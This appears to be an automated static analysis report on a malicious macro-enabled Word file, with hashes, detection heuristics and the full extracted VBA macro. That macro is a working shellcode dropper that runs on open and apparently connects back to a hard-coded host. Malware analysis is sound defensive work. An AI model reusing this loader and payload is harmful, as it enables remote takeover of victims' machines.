Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 117ca770b306a62f…

MALICIOUS

Office (OOXML)

19.7 KB Created: 2020-12-16 12:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-23
MD5: 177821b532d71b03f7c3f407c214f8e8 SHA-1: 980b3ab8f53ea2bf733a3706aa8e976a46ce59fd SHA-256: 117ca770b306a62f3c3a1c411fe41cee439ba5984af9012347a8a8f36064396b
218 Risk Score

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-10001333-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10001333-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3560 bytes
SHA-256: 0790473efb8ee6f6be91ba30831ed11991f3d3c34734d4fb37f592a0be6a3e63
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Sub Dropper()

Dim buf As Variant
Dim addr As LongPtr

' payload
buf = Array(72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 81, 86, 72, 139, 114, 80, 77, 49, 201, 72, 15, 183, 74, 74, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, 1, 208, 102, 129, 120, 24, _
11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 68, 139, 64, 32, 73, 1, 208, 139, 72, 24, 80, 227, 86, 77, 49, 201, 72, 255, 201, 65, 139, 52, 136, 72, 1, 214, 72, 49, 192, 65, 193, 201, 13, 172, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 65, 88, 72, 1, 208, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 73, 190, 119, 115, 50, 95, 51, 50, 0, 0, 65, 86, 73, 137, 230, 72, 129, 236, 160, 1, 0, 0, 73, 137, 229, 73, _
188, 2, 0, 39, 15, 192, 168, 182, 129, 65, 84, 73, 137, 228, 76, 137, 241, 65, 186, 76, 119, 38, 7, 255, 213, 76, 137, 234, 104, 1, 1, 0, 0, 89, 65, 186, 41, 128, 107, 0, 255, 213, 106, 10, 65, 94, 80, 80, 77, 49, 201, 77, 49, 192, 72, 255, 192, 72, 137, 194, 72, 255, 192, 72, 137, 193, 65, 186, 234, 15, 223, 224, 255, 213, 72, 137, 199, 106, 16, 65, _
88, 76, 137, 226, 72, 137, 249, 65, 186, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 73, 255, 206, 117, 229, 232, 147, 0, 0, 0, 72, 131, 236, 16, 72, 137, 226, 77, 49, 201, 106, 4, 65, 88, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 85, 72, 131, 196, 32, 94, 137, 246, 106, 64, 65, 89, 104, 0, 16, 0, 0, 65, 88, 72, 137, 242, _
72, 49, 201, 65, 186, 88, 164, 83, 229, 255, 213, 72, 137, 195, 73, 137, 199, 77, 49, 201, 73, 137, 240, 72, 137, 218, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 65, 87, 89, 104, 0, 64, 0, 0, 65, 88, 106, 0, 90, 65, 186, 11, 47, 15, 48, 255, 213, 87, 89, 65, 186, 117, 110, 77, 97, 255, 213, 73, 255, 206, 233, 60, 255, _
255, 255, 72, 1, 195, 72, 41, 198, 72, 133, 246, 117, 180, 65, 255, 231, 88, 106, 0, 89, 187, 224, 29, 42, 10, 65, 137, 218, 255, 213)

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
Dim counter As Long
Dim data As Long
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)

End Sub


Sub Document_Open()
Dropper
End Sub
Sub AutoOpen()
Dropper
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: f40c6450cc9dbccba687aa6061e86558876025fb00c32f06df7155f042552389
Detection
ClamAV: Doc.Malware.Valyria-10001333-0
Obfuscation or payload: unlikely

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